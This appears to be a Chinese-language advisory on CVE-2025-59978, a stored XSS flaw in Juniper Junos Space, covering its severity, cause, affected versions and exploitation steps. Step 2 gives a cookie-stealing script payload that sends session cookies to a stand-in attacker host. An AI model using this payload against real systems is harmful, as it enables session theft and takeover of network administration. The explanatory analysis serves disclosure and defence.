CVE-2025-59978CVE-2025-59978是Juniper Networks Junos Space网络管理平台中的一个高危存储型跨站脚本（Stored XSS）漏洞，CVSS评分为9.0，属于严重级别。该漏洞源于Web页面生成过程中对用户输入的中和/转义处理不当（Improper Neutralization of Input During Web Page Generation），属于CWE-79类漏洞。Junos Space是Juniper公司推出的网络管理平台，广泛用于企业和服务提供商网络中，用于集中管理路由器、交换机及其他网络设备。由于该平台通常具有对整个网络基础设施的管理权限，一旦被攻击者利用，可能导致整个网络环境遭受严重的安全威胁。攻击者可以利用该漏洞将恶意脚本标签直接存储在Web页面中，当其他用户（特别是具有管理权限的用户）查看这些页面时，恶意脚本将在受害者的浏览器上下文中执行。由于Junos Space管理界面通常以高权限运行，被注入的脚本可以以目标用户的权限执行任意操作，包括但不限于获取敏感凭据、修改网络配置、添加恶意管理员账户等。值得注意的是，该漏洞的攻击向量为网络（AV:N），且仅需要低权限（PR:L）即可利用，这意味着即使是普通权限的用户也可能对管理员发起攻击。漏洞影响Junos Space 24.1R4之前的所有版本，Juniper官方已在最新版本中修复了该问题。
该漏洞属于典型的存储型XSS漏洞，其根本原因在于Junos Space Web管理界面在处理用户提交的输入数据时，未能对其进行充分的HTML/JavaScript转义或过滤，导致攻击者可以将恶意的脚本代码（如<script>标签）持久化存储到服务器端的数据库或文件系统中。当其他用户（尤其是管理员）访问包含这些恶意代码的页面时，服务器会将存储的恶意脚本作为正常内容返回给浏览器，浏览器会将其解析并执行。由于Junos Space管理平台具有高度的管理权限，被注入的脚本将在受害者的会话上下文中执行，能够执行该用户有权执行的所有操作。
利用方式如下：
1. 攻击者首先需要拥有一个有效的Junos Space低权限账户（PR:L），可以通过合法注册或其他方式获得。
2. 攻击者在系统允许输入文本的字段（如设备描述、注释、用户名、组织名称等）中注入恶意JavaScript代码，例如：<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。
3. 恶意脚本被服务器存储后，当管理员或具有更高权限的用户查看包含该数据的页面时，脚本将在其浏览器中自动执行。
4. 由于脚本在管理界面上下文中运行，攻击者可以执行任意管理操作，包括修改网络设备配置、导出敏感数据、创建新的管理员账户等。
该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H，其中S:C（Scope Changed）表明漏洞的影响范围超出了Junos Space本身，可能影响到其管理的所有网络设备。